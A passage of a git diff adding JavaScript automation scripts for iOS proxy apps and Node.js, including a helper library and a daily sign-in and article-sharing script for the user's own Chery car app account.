: ""; + $.DoubleLog(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`); +} +/** + * 获取远程通知 + */ +async function _getNotice() { + const options = { url: JSConfig.noticeUrl }; + let httpResult = await httpRequest(options) + const notice = httpResult.notice.replace(/\\n/g, "\n"); + $.DoubleLog(notice); +} +// ==================== API ==================== // +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.userList = []; this.userIdx = 0; this.message = ""; this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), t.params && (t.url += "?" + this.queryStr(t.params)), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); this.message += `\n ${d}` } } else { console.log(`${d}`); this.message += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("./sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) } +//Env rewrite:smallfawn Update-time:23-07-26 newAdd:DoubleLog & SendMsg & ChangeMessage +a diff --git a/Scripts/chery/cheryAppSignin.js b/Scripts/chery/cheryAppSignin.js new file mode 100644 index 00000000..f4188a66 --- /dev/null +++ b/Scripts/chery/cheryAppSignin.js @@ -0,0 +1,189 @@ +/** + * @author fmz200 + * @function 奇瑞汽车App签到 + * @date 2025-06-04 10:00:00 + */ +const $ = new Env("奇瑞汽车App签到"); +const isNode = $.isNode(); +const notify = isNode ? require('./sendNotify') : ''; +$.nodeNotifyMsg = []; // nodeJS合并通知 + +const tokenList = isNode ? process.env["fmz200_chery_account"] : $.getdata('fmz200_chery_account'); +const userAgent = `Mozilla/5.0 (iPhone; CPU iPhone OS 18_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 ios/1.0.0`; + +startTasks().then(r => $.done()); + +async function startTasks() { + if (!tokenList || JSON.parse(tokenList).length === 0) { + await sendMsg("❌ 请先获取奇瑞汽车App签到token", ""); + $.done(); + } + let jsonData = JSON.parse(tokenList); + let index = 0; + // 创建一个 Promise 数组来存储每个异步任务 + const tasks = jsonData.map(async (item) => { + index += 1; + // 调用 completeSignTask 并等待完成 + await completeSignTask(item); // 签到 + const articleIdList = await getArticleList(item); + console.log(`获取到文章ID列表:${articleIdList}`); + if (articleIdList) { + for (const articleId of articleIdList) { + await shareArticleList(item, articleId); + } + } + }); + + // 等待所有任务完成 + await Promise.all(tasks); + console.log(`执行账号数量:${index}`); + if (isNode) await sendMsg($.nodeNotifyMsg.join("\n"), ""); + $.done(); +} + +function completeSignTask(item) { + const url = `https://mobile-consumer-sapp.chery.cn/web/event/trigger?access_token=${item.access_token}`; + const method = `POST`; + const headers = { + 'Sec-Fetch-Dest': `empty`, + 'Connection': `keep-alive`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Content-Type': `application/json`, + 'Sec-Fetch-Site': `same-site`, + 'Origin': `https://hybrid-sapp.chery.cn`, + 'User-Agent': `${userAgent}`, + 'Authorization': `Bearer ${item.access_token}`, + 'Sec-Fetch-Mode': `cors`, + 'Host': `mobile-consumer-sapp.chery.cn`, + 'Referer': `https://hybrid-sapp.chery.cn/`, + 'Accept-Language': `zh-CN,zh`, + 'Accept': `*/*` + }; + const body = `{"eventCode":"SJ10002"}`; + const myRequest = {url, method, headers, body}; + + return $.http.post(myRequest).then(response => { + const username = item.displayName; + console.log("解析响应体:" + response.body); + const authData = JSON.parse(response.body); + if (authData.status === 200) { + if (isNode) { + $.nodeNotifyMsg.push(`[${username}]签到成功`); + } else { + $.msg($.name, `[${username}]签到成功`, '', {'open-url': '', 'media-url': item.avatarUrl}); + } + } else { + if (isNode) { + $.nodeNotifyMsg.push(`[${username}]签到失败,失败原因:${authData.message}`); + } else { + $.msg($.name, `[${username}]签到失败`, `失败原因:${authData.message}`, { + 'open-url': '', + 'media-url': item.avatarUrl + }); + } + } + }, reason => { + console.log(reason.error); + }); +} + +async function getArticleList(item) { + const url = `https://mobile-consumer-sapp.chery.cn/web/community/recommend/contents?pageNo=1&pageSize=10&access_token=${item.access_token}&terminal=3`; + const method = `GET`; + const headers = { + "user-agent": `${userAgent}`, + "accept": "application/json, text/plain, */*", + "appversion": `2.17.6 (stable) (Tue Jul 12 12:54:37 2022 +0200) on "android_arm64"`, + "accept-language": "zh-CN,zh;q=0.9", + "accept-encoding": "gzip, deflate", + "host": "mobile-consumer-sapp.chery.cn", + "content-type": "application/json; charset=UTF-8", + "agent": "android", + "request-channel": "app", + }; + const body = ``; + + const myRequest = {url, method, headers, body}; + return $.http.post(myRequest).then(response => { + const username = item.displayName; + // console.log("解析响应体:" + response.body); + let authData = JSON.parse(response.body); + if (authData.status === 200) { + console.log(`[${username}]获取文章[${authData.message}]🎉`); + return [authData.data.data[0].content.id, authData.data.data[1].content.id]; + } else { + if (isNode) { + $.nodeNotifyMsg.push(`[${username}]获取文章失败`); + } else { + $.msg($.name, `[${username}]获取文章失败`, `失败原因:${authData.message}`, { + 'open-url': '', + 'media-url': item.avatarUrl + }); + } + } + }, reason => { + console.log("获取文章发生异常", reason.error); + }); +} + +async function shareArticleList(item, articleId) { + const url = `https://mobile-consumer-sapp.chery.cn//web/community/contents/${articleId}/share?access_token=${item.access_token}&terminal=3`; + const method = `POST`; + const headers = { + "user-agent": `${userAgent}`, + "accept": "application/json, text/plain, */*", + "appversion": `2.17.6 (stable) (Tue Jul 12 12:54:37 2022 +0200) on "android_arm64"`, + "accept-language": "zh-CN,zh;q=0.9", + "accept-encoding": "gzip, deflate", + "host": "mobile-consumer-sapp.chery.cn", + "content-type": "application/json; charset=UTF-8", + "agent": "android", + "request-channel": "app", + }; + const body = JSON.stringify({"contentId": articleId}) + + const myRequest = {url, method, headers, body}; + return $.http.post(myRequest).then(response => { + const username = item.displayName; + console.log("解析响应体:" + response.body); + let authData = JSON.parse(response.body); + if (authData.status === 200) { + console.log(`[${username}]分享文章[${authData.message}]🎉`); + } else { + if (isNode) { + $.nodeNotifyMsg.push(`[${username}]分享文章失败`); + } else { + $.msg($.name, `[${username}]分享文章失败`, `失败原因:${authData.message}`, { + 'open-url': '', + 'media-url': item.avatarUrl + }); + } + } + }, reason => { + console.log(reason.error); + }); +} + +// 计算cookie过期时间 +function parseJwt(t) { + const e = t.split("."); + if (3 !== e.length) throw new Error("Invalid JWT token"); + const a = JSON.parse(o(e[0])), r = JSON.parse(o(e[1])), n = new Date(1e3 * r.exp), p = new Date(parseInt(r.create_date)); + return {header: a, payload: r, expDate: g(n), createDate: g(p)}; + + function o(t) { + let e = t.replace(/-/g, "+").replace(/_/g, "/"), a = e.length % 4; + a && (e += "=".repeat(4 - a)); + const r = atob(e); + return decodeURIComponent(escape(r)) + } + + function g(t) { + return `${t.getFullYear()}-${String(t.getMonth() + 1).padStart(2, "0")}-${String(t.getDate()).padStart(2, "0")} ${String(t.getHours()).padStart(2, "0")}:${String(t.getMinutes()).padStart(2, "0")}:${String(t.getSeconds()).padStart(2, "0")}` + } +} + +// API start +async function sendMsg(desc, opts) { $.isNode() ? await notify.sendNotify($.name, desc) : $.msg($.name, $.subTitle || "", desc, opts) } +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;"POST"===e&&(s=this.post);const i=new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}));return t.timeout?((t,e=1e3)=>Promise.race([t,new Promise(((t,s)=>{setTimeout((()=>{s(new Error("请求超时"))}),e)}))]))(i,t.timeout):i}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:"[DEBUG] ",info:"[INFO] ",warn:"[WARN] ",error:"[ERROR] "},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},policy:"DIRECT",timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 